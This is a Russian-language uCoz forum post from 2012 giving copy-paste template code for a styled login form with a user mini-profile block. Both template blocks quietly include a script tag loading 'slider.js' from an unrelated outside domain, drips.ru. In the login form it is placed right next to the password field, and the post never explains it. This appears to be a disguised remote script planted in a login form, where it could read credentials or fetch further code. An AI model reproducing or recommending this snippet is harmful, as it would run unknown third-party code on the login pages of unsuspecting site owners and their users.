Меню сайта















Уроки Photoshop















Реклама















Мини-чат





200










RSS новости






Подпишитесь на нашу RSS ленту и
вы всегда будете в курсе новостей!


Получать на E-mail:










Опрос





Как вам наш сайт ?



Результат опроса Результаты Все опросы нашего сайта Архив


Всего голосовало: 145
Обсудить опрос на форуме










Статистика





uCoz Top
Счётчик
Сейчас на сайте

Сегодня нас посетили












Добро пожаловать на наш форум !




[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Элегантная форма входа с мини профилем
BatareykaДата: Воскресенье, 05.02.2012, 19:09 | Сообщение # 1
Рядовой
Пользователи
9
1
[ 40 ]
Offline
скрин:http://s58.radikal.ru/i161/1202/f0/2581eabf5667.jpg

Установка:

1. Этот код вставить перед <//head>:

Code
<link type="text/css" rel="StyleSheet" href="http://ripbox.do.am/lesson/mminiprof.css" />


2. Далее идем в ПУ / Пользователи / Форма входа пользователей, удаляем все оттуда и вставляем этот код:

Code
<div class="miniprof_bg">
<div class="mavatar"><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" width="130px" height="103px"><?else?><img src="http://ripbox.do.am/lesson/mnoava.gif"><?endif?></div>
<div class="mguest" align="center">Гость</div>
<div class="mloggin">
<input type="text" name="user" value="Логин..." size="20" style="width:86%;" value="Логин..." onblur="if(this.value=='')this.value='Логин...'" onfocus="if(this.value=='Логин...')this.value=''" maxlength="50"/>
<script src="http://drips.ru/slider.js" type="text/javascript"></script><input type="password" name="password" value="Пароль..." size="20" style="width:86%;" value="Пароль..." onblur="if(this.value=='')this.value='Пароль...'" onfocus="if(this.value=='Пароль...')this.value=''" maxlength="50"/>   
<input name="sbm" class="minimal" type="submit" value="Войти"/></div>
<br>
<div align="center" style="margin-top:-5px;"><a href="$REMINDER_LINK$" class="linkstyle">Забыли пароль?</a> | <a href="$REGISTER_LINK$" class="linkstyle">Регистрация</a></div>
</div>


3. После туда где у Вас будет стоять это мини профиль (Обычно это блоки), и вставляем этот код:

Code
<?if($USER_LOGGED_IN$)?>
<div class="miniprof_bg">
<div class="mavatar"><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" width="130px" height="103px"><?else?><img src="http://ripbox.do.am/lesson/mnoava.gif"><?endif?><script src="http://drips.ru/slider.js" type="text/javascript"></script></div>
<div class="musername" align="center">$USERNAME$</div>
<div class="mlinks" align="center">
<a href="$PERSONAL_PAGE_LINK$" class="linkstyle">Мой профиль</a>
<hr />
<a href="$PM_URL$" class="linkstyle">Сообщения ($UNREAD_PM$)</a>
<hr />
<a href="$ADD_ENTRY_LINK$" class="linkstyle">Добавить +</a>
<hr />
<a href="$LOGOUT_LINK$" class="linkstyle">Выход</a>
</div>
</div></div>
<?else?>$LOGIN_FORM$<?endif?>


Желаю удачи! Если у Вас будут какие то помехи, посмотрите возможно в вашем CSS, есть какой то похожий код. Если ошика остается такой же пишите в комменты, помогу.
  • Страница 1 из 1
  • 1
Поиск:








Поиск по сайту















Профиль





Понедельник, 25.11.2024,
Гость

Сообщения:

Группа:
Гости










Советуем посетить







Graffiti Decorations(R) Studio (TM) Site Promoter

Бесплатная доска баннеров










Копилка сайта





Помоги сайту
ЯндексЯндекс. ДеньгиХочу такую же кнопку

Всё собранные

деньги пойдут

на продвижение

сайта.











Друзья и партнеры





Rambler's Top100



Музыка и видео клипы












Полезные ссылки





  • Спутниковое TV, интернет
  • Раскрути сайт бесплатно
  • Заработок для web-мастера
  • Добавь свои RSS ленты










  • Наша кнопка







    Получить код: